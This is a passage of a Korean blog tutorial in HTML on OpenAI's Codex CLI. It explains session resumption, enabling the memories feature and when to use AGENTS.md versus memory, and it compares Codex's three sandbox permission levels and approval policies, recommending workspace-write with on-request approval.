&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;316&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEbYLd/dJMcaicclpN/QgeEYHZMI3nLfZSbIvtq90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEbYLd/dJMcaicclpN/QgeEYHZMI3nLfZSbIvtq90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEbYLd/dJMcaicclpN/QgeEYHZMI3nLfZSbIvtq90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEbYLd%2FdJMcaicclpN%2FQgeEYHZMI3nLfZSbIvtq90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1022&quot; height=&quot;316&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;316&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- /exit 입력하여 완전히 빠져 나간후 codex 입력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 새로 코덱스창이 열리면 &amp;gt;&amp;gt; /resume 을 입력 한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;558&quot; data-origin-height=&quot;180&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4D0fc/dJMcafNjQ78/ucH0QO0diVc4pNp2UznQU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4D0fc/dJMcafNjQ78/ucH0QO0diVc4pNp2UznQU0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4D0fc/dJMcafNjQ78/ucH0QO0diVc4pNp2UznQU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4D0fc%2FdJMcafNjQ78%2FucH0QO0diVc4pNp2UznQU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;363&quot; height=&quot;117&quot; data-origin-width=&quot;558&quot; data-origin-height=&quot;180&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 방금 하고있던 대화 내용을 확인하고 로드 하자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;152&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tjnEs/dJMcajow2Wc/Ms4OZQWHQXFKsOPqlOisUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tjnEs/dJMcajow2Wc/Ms4OZQWHQXFKsOPqlOisUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tjnEs/dJMcajow2Wc/Ms4OZQWHQXFKsOPqlOisUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtjnEs%2FdJMcajow2Wc%2FMs4OZQWHQXFKsOPqlOisUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1968&quot; height=&quot;152&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;152&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 아까 AGENTS.md 에 저장하던 마지막 대화 내용이 그대로 로드 되는것을 볼 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;782&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z3ME5/dJMcacwg72f/sl2knDGfyR4pGtvkAnhrl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z3ME5/dJMcacwg72f/sl2knDGfyR4pGtvkAnhrl1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z3ME5/dJMcacwg72f/sl2knDGfyR4pGtvkAnhrl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz3ME5%2FdJMcacwg72f%2Fsl2knDGfyR4pGtvkAnhrl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1974&quot; height=&quot;782&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;782&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 기억해달라는 내용을 로컬 메모리에 저장하는 모습을 볼 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2696&quot; data-origin-height=&quot;1556&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nlCrS/dJMcadomGe1/YL9cI8hTJhtbElq2U5sIu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nlCrS/dJMcadomGe1/YL9cI8hTJhtbElq2U5sIu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nlCrS/dJMcadomGe1/YL9cI8hTJhtbElq2U5sIu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnlCrS%2FdJMcadomGe1%2FYL9cI8hTJhtbElq2U5sIu1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2696&quot; height=&quot;1556&quot; data-origin-width=&quot;2696&quot; data-origin-height=&quot;1556&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;2.3 메모리 활성화 방법과 주의사항&lt;/h3&gt;
&lt;!-- 경고 콜아웃 (빨강) --&gt;
&lt;div style=&quot;background-color: #f8d7da; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0; border-left: 4px solid #dc3545;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;지역 제한 고지&lt;/b&gt;: 메모리 기능은 기본적으로 꺼져 있으며, 출시 시점 기준 유럽 경제 지역(EEA), 영국, 스위스에서는 사용할 수 없다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;활성화 방법은 두 가지다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 보여드린대로 /memories 를 대화창에서 입력하여&amp;nbsp;Codex 설정에서 켜거나,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/config.toml&lt;/code&gt;의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;[features]&lt;/code&gt; 테이블에 아래와 같이 추가하면 된다.&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;[features]
memories = true&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;2.4 AGENTS.md vs 메모리 &amp;mdash; 언제 무엇을 쓸까&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서는 이 구분을 분명히 한다. 반드시 지켜야 하는 팀 규칙은 AGENTS.md 또는 버전 관리되는 문서에 보관한다. 메모리는 편리한 개인 기억으로 보고, 꼭 지켜야 하는 규칙의 유일한 근거로 쓰지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실전 기준으로 정리하면 이렇다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;사용할 도구&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;팀 전체가 따라야 하는 린트 규칙&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt; (저장소 루트)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;PR 전 실행할 체크 명령&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt; (저장소 루트)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;내가 선호하는 패키지 관리 방식&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt; (전역)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;지난 스레드에서 배운 패턴&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;메모리 (자동 축적)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;이번 작업에서만 참고할 특정 파일&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프롬프트 경로, CLI &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/mention&lt;/code&gt;, IDE &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;@파일명&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 팀에서 &quot;PR 전에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;npm run lint&lt;/code&gt;와 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;npm test&lt;/code&gt;를 반드시 실행한다&quot;는 규칙은 AGENTS.md에 둔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 규칙은 팀원이 바뀌어도 유지되어야 하기 때문이다. 반대로 &quot;나는 설명을 한국어로 길게 듣는 편을 선호한다&quot;처럼 개인 습관에 가까운 내용은 전역 AGENTS.md나 메모리로 충분하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;오늘 이 버그만은 API 응답 형식을 바꾸지 말라&quot;처럼 일회성 제약은 프롬프트에 직접 쓰는 편이 가장 명확하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기억할 기준&lt;/b&gt;: 반복해서 지켜야 하는 팀 규칙은 AGENTS.md, 개인화된 작업 습관은 메모리, 이번 작업에만 적용되는 조건과 참고 파일은 프롬프트에 둔다. 명령 실행 정책처럼 더 구체적인 운영 규칙은 AGENTS.md &amp;middot; Rules 편에서 따로 다룬다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 3 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 샌드박스(Sandboxing) &amp;mdash; 3가지 권한 레벨 선택 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex는 파일 접근과 명령 실행 권한을 샌드박스로 제어한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;샌드박스는 말 그대로 안전 울타리다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex가 내 컴퓨터 안에서 어디까지 읽고, 어디까지 수정하고, 어떤 명령을 실행할 수 있는지 정한다. 공식 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/sandboxing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Sandboxing 문서&lt;/a&gt;는 샌드박스의 목적을 &quot;승인 피로 감소&quot;로 설명한다. 여기서 승인 피로는 쉬운 명령마다 &quot;허용할까요?&quot;를 반복해서 묻는 바람에 사람이 지치는 상황을 말한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;샌드박스는 위험이 낮은 작업은 정해진 울타리 안에서 진행하게 하고, 위험한 작업은 따로 막거나 확인받게 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 자주 헷갈리는 부분이 있다. 샌드박스와 승인 정책은 같은 말이 아니다. 샌드박스는 Codex가 넘으면 안 되는 기술적인 경계이고, 승인 정책은 그 경계를 넘거나 특정 명령을 실행하려 할 때 사용자에게 물어볼지를 정하는 규칙이다. Codex가 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;git&lt;/code&gt;, 패키지 매니저, 테스트 러너 같은 명령을 실행할 때도 이 경계가 적용된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;질문을 이렇게 바꿔 보자&lt;/b&gt;: &quot;어떤 옵션이 있나?&quot;보다 &quot;이번 작업에서 Codex가 어디까지 해도 되나?&quot;가 중요하다. 읽기만 시킬 작업, 파일을 고치게 할 작업, 패키지 설치까지 필요한 작업은 서로 다른 안전 울타리가 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;3.1 3가지 샌드박스 레벨&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2138&quot; data-origin-height=&quot;1166&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KMUAe/dJMcaaZuNDs/yeLdNyJTyXUMCRy0nYvUkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KMUAe/dJMcaaZuNDs/yeLdNyJTyXUMCRy0nYvUkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KMUAe/dJMcaaZuNDs/yeLdNyJTyXUMCRy0nYvUkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKMUAe%2FdJMcaaZuNDs%2FyeLdNyJTyXUMCRy0nYvUkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2138&quot; height=&quot;1166&quot; data-origin-width=&quot;2138&quot; data-origin-height=&quot;1166&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;레벨&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;동작&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;기본 시작점&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;적합한 상황&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;read-only&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;파일을 읽어 분석하는 데 초점을 둔다. 수정이나 명령 실행은 제한된다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;아님&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;코드 분석, 리뷰만 할 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;workspace-write&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;파일 읽기와 작업 폴더 안의 수정이 가능하다. 폴더 밖 작업이나 위험한 명령은 승인 정책을 따른다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;권장 시작점&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 개발 일반 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;danger-full-access&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;안전 울타리를 거의 푼다. 내 컴퓨터 파일과 네트워크 접근 제한이 크게 줄어든다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;아님&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Codex에 전체 접근 권한이 필요할 때만&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: 처음에는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;workspace-write&lt;/code&gt; + &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;approval_policy = &quot;on-request&quot;&lt;/code&gt; 조합이 가장 무난하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트 폴더 안에서 고치는 일은 맡기되, 경계를 넘는 일은 물어보게 만드는 조합이기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;danger-full-access&lt;/code&gt;는 정말 전체 권한이 필요할 때만 의도적으로 선택한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;선택이 헷갈리면 아래 순서로 판단한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;질문&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장 선택&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;낯선 저장소를 읽기만 할 것인가?&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;read-only&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;수정 없이 구조만 파악하므로 울타리를 좁게 둔다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;현재 프로젝트 안에서만 파일을 고치면 되는가?&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;workspace-write&lt;/code&gt; + &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;on-request&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;일반 개발 작업의 기본값이다. 폴더 밖 작업처럼 애매한 일만 따로 물어보게 한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;다른 폴더도 일부 수정해야 하는가?&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;writable_roots&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;전체 권한을 열기보다 필요한 폴더만 추가로 연다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;사람 확인 없이 전체 권한 자동화가 필요한가?&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;전용 VM, 컨테이너, CI runner에서만 검토&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 작업 폴더에서 바로 쓰면 피해 범위가 커진다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;ex1) code --sandbox &lt;span style=&quot;color: #ee2323;&quot;&gt;read-only&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 수정자체가 불가능한건 아니다. 수정시 권한을 요청한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1948&quot; data-origin-height=&quot;848&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bl0D4d/dJMcabKVpTf/RX4W4wl7bc9p4a8PKE9Ur0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bl0D4d/dJMcabKVpTf/RX4W4wl7bc9p4a8PKE9Ur0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bl0D4d/dJMcabKVpTf/RX4W4wl7bc9p4a8PKE9Ur0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbl0D4d%2FdJMcabKVpTf%2FRX4W4wl7bc9p4a8PKE9Ur0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1948&quot; height=&quot;848&quot; data-origin-width=&quot;1948&quot; data-origin-height=&quot;848&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 권한 요청&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1944&quot; data-origin-height=&quot;878&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dGrQJj/dJMcah5p4rj/H6xPIYo6Qbm7hIkXiZGxqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dGrQJj/dJMcah5p4rj/H6xPIYo6Qbm7hIkXiZGxqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dGrQJj/dJMcah5p4rj/H6xPIYo6Qbm7hIkXiZGxqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdGrQJj%2FdJMcah5p4rj%2FH6xPIYo6Qbm7hIkXiZGxqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 